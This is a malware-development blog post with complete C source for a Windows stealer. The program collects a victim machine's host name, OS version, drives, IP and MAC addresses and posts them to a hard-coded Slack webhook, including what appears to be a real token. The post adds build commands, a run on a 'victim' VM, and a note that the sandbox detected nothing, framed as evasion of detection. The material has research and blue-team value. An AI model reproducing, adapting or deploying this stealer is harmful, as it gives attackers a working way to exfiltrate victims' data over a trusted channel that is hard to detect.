Malware development trick 52: steal data via legit Slack API. Simple C example.
﷽
Hello, cybersecurity enthusiasts and white hackers!
Continuing my work on exploiting and abusing legitimate APIs for malware development, I want to show another simple example in response to a question from one of my readers.
Today, we’ll take a look at how attackers can exploit Slack’s API - a legitimate and widely-used platform for collaboration
practical example
As usual, I will provide a simple PoC that demonstrates the abuse of Slack Webhook API to upload system information from a victim’s Windows system.
First of all, we need to create Slack App:
Then, we need to enable incoming webhooks:
Create new channel for our scenario:
adding this channel to webhook settings:
as you can see, integration to this channel via meow-test
successfully added.
And we need something like this:
// send data to Slack channel using winhttp
int sendToSlack(char* message) {
HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;
hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession == NULL) {
fprintf(stderr, "WinHttpOpen. error: %d has occurred.\n", GetLastError());
return 1;
}
hConnect = WinHttpConnect(hSession, L"hooks.slack.com", INTERNET_DEFAULT_HTTPS_PORT, 0);
if (hConnect == NULL) {
fprintf(stderr, "WinHttpConnect. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hSession);
return 1;
}
// char headers[] = "Content-Type: application/json";
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/services/T05LNF51FAM/B09M7L8BQ91/GQtnKW33OKeQzTZbkZvustAu", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
if (hRequest == NULL) {
fprintf(stderr, "WinHttpOpenRequest. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}
if (!WinHttpSendRequest(hRequest, L"Content-Type: application/json", -1, message, strlen(message), strlen(message), 0)) {
fprintf(stderr, "WinHttpSendRequest. error %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}
if (!WinHttpReceiveResponse(hRequest, NULL)) {
fprintf(stderr, "WinHttpReceiveResponse. Error %d has occurred.\n", GetLastError());
}
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
printf("information sent successfully.\n");
return 0;
}
it’s similar to my previous scenarios with Github API, Bitbucket API or Discord Bot API.
So, full source code is looks like this hack.c
:
/*
* hack.c
* sending systeminfo via legit URL. Slack API
* author @cocomelonc
* https://cocomelonc.github.io/malware/2025/10/20/malware-tricks-52.html
*/
#include <windows.h>
#include <winhttp.h>
#include <iphlpapi.h>
#include <stdio.h>
// send data to Slack channel using winhttp
int sendToSlack(char* message) {
HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;
hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession == NULL) {
fprintf(stderr, "WinHttpOpen. error: %d has occurred.\n", GetLastError());
return 1;
}
hConnect = WinHttpConnect(hSession, L"hooks.slack.com", INTERNET_DEFAULT_HTTPS_PORT, 0);
if (hConnect == NULL) {
fprintf(stderr, "WinHttpConnect. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hSession);
return 1;
}
// char headers[] = "Content-Type: application/json";
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/services/T05LNF51FAM/B09M7L8BQ91/GQtnKW33OKeQzTZbkZvustAu", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
if (hRequest == NULL) {
fprintf(stderr, "WinHttpOpenRequest. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}
if (!WinHttpSendRequest(hRequest, L"Content-Type: application/json", -1, message, strlen(message), strlen(message), 0)) {
fprintf(stderr, "WinHttpSendRequest. error %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}
if (!WinHttpReceiveResponse(hRequest, NULL)) {
fprintf(stderr, "WinHttpReceiveResponse. Error %d has occurred.\n", GetLastError());
}
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
printf("information sent successfully.\n");
return 0;
}
// get systeminfo and send as message via Slack API logic
int main(int argc, char* argv[]) {
char systemInfo[2048];
// get host name
CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = sizeof(hostName) / sizeof(hostName[0]);
GetComputerNameA(hostName, &size);
// get OS version
OSVERSIONINFO osVersion;
osVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osVersion);
// get system information
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
// get logical drive information
DWORD drives = GetLogicalDrives();
// get IP address
IP_ADAPTER_INFO adapterInfo[16];
DWORD adapterInfoSize = sizeof(adapterInfo);
if (GetAdaptersInfo(adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {
printf("GetAdaptersInfo failed. error: %d has occurred.\n", GetLastError());
return 1;
}
snprintf(systemInfo, sizeof(systemInfo),
"Host Name: %s, "
"OS Version: %d.%d.%d, "
"Processor Architecture: %d, "
"Number of Processors: %d, "
"Logical Drives: %X, ",
hostName,
osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,
sysInfo.wProcessorArchitecture,
sysInfo.dwNumberOfProcessors,
drives);
// Add IP address information
for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter->Next) {
snprintf(systemInfo + strlen(systemInfo), sizeof(systemInfo) - strlen(systemInfo),
"Adapter Name: %s, "
"IP Address: %s, "
"Subnet Mask: %s, "
"MAC Address: %02X-%02X-%02X-%02X-%02X-%02X",
adapter->AdapterName,
adapter->IpAddressList.IpAddress.String,
adapter->IpAddressList.IpMask.String,
adapter->Address[0], adapter->Address[1], adapter->Address[2],
adapter->Address[3], adapter->Address[4], adapter->Address[5]);
}
char test[1024];
const char* message = "meow-meow";
snprintf(test, sizeof(test), "{\"text\":\"%s\"}", message);
sendToSlack(test);
char slackMessage[4096];
snprintf(slackMessage, sizeof(slackMessage), "{\"text\":\"%s\"}", systemInfo);
int result = sendToSlack(slackMessage);
if (result == 0) {
printf("sysinfo successfully sent in Slack.\n");
} else {
printf("failed to send info to Slack.\n");
}
return 0;
}
For purity of experiment, added some test messages like meow-meow
before sending sysinfo.
demo
Let’s go to see this in action. Compile our hack.c
:
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -liphlpapi -lwinhttp
Then, move to the victim’s machine (in my case Windows 10 x64 22H2 English VM)and run:
.\hack.exe
As you can see, everything worked perfectly as expected! =^..^=
Let’s analyze with ANY.RUN:
As you can see, ANY.RUN says that everything is ok: no threats detected.
https://app.any.run/tasks/541b4621-ecd8-40fb-9c42-ff526c7fe78f
This PoC is not currently full featured C2 with an interactive shell and sending commands to victim, but maybe future updates in this series will enhance its capabilities.
Software like Brute Ratel C4 can use Slack for external C2 channels.
I hope this post is useful for malware researchers, C/C++
programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.
Thanks to ANY.RUN for API!
ATT&CK MITRE: T1102
Brute Ratel C4
ANY.RUN
ANY.RUN: hack.exe
BitBucket API Stealer
Github API stealer
VirusTotal API stealer
Telegram Bot API stealer
source code in Github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine